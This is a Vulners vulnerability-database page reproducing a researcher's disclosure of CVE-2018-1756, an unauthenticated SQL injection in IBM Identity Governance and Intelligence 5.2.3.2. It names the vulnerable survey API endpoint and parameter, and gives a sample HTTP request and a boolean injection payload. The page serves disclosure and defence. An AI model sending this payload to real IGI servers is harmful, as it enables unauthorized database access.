Vulners
Lucene search
IBM Identity Governance and Intelligence 5.2.3.2 / 5.2.4 - SQL Injection Vulnerability
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
 | CVE-2018-1756 | 12 Sep 201800:00 | – | circl |
 | IBM Security Identity Governance and Intelligence SQL Injection Vulnerability | 11 Sep 201800:00 | – | cnvd |
 | IBM Identity Governance and Intelligence SQL Injection (CVE-2018-1756) | 26 Aug 201900:00 | – | checkpoint_advisories |
 | CVE-2018-1756 | 7 Sep 201816:00 | – | cve |
 | CVE-2018-1756 | 7 Sep 201816:00 | – | cvelist |
 | Security Bulletin: IBM Security Identity Governance and Intelligence has released a fixpack in response to the vulnerabilities reported in the Feedback Survey feature | 11 Sep 201813:36 | – | ibm |
 | IBM Identity Governance and Intelligence 5.2.3.2 / 5.2.4 - SQL Injection | 12 Sep 201800:00 | – | exploitdb |
 | IBM Identity Governance and Intelligence 5.2.3.2 5.2.4 - SQL Injection | 12 Sep 201800:00 | – | exploitpack |
 | CVE-2018-1756 | 7 Sep 201815:29 | – | nvd |
 | CVE-2018-1756 | 7 Sep 201815:29 | – | osv |
10
# Exploit Title: [Unauthenticated Remote SQLi]
# Exploit Author: [Mohamed Sayed - From SecureMisr Company]
# Vendor Homepage: [https://www-01.ibm.com/support/docview.wss?uid=ibm10728883]
# Version: [IGI 5.2.3.2] (REQUIRED)
# Tested on: [Windows 10]
# CVE : [CVE-2018-1756]
Hello ,
IBM IGI version 5.2.3.2 is suffering from unauthenticated remote SQLi
The vulnerability enable *remote unauthenticated* attacker to take over the
server database and affect the confidentiality , integrity and availability
of the system ,
The vulnerability is in the survey end point API
/survey/api/config?userId=XXX
The userId parameter value is injected directly to a sql query without
sensitization nor validation and by exploiting it the attacker will be able
to gain access on the server database
SAMPLE of Vulnerable HTTP Request
GET /survey/api/config?userId=VUL HTTP/1.1
Host: HOST_IP
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36
Accept: */*
Referer: https://HOST_IP
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Payload sample :
userId=1 'AND 1=1 AND '2'='2
Mohamed Sayed
Sr.Information Security analyst
*Please make sure to encrypt any sensitive information or attachments , you
can download my Public PGP key from* here
<https://keys.mailvelope.com/pks/lookup?op=get&search=0x238EFF7331E6E927>
# 0day.today [2018-09-16] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
16 Sep 2018 00:00Current
0.1Low risk
Vulners AI Score0.1
EPSS0.2682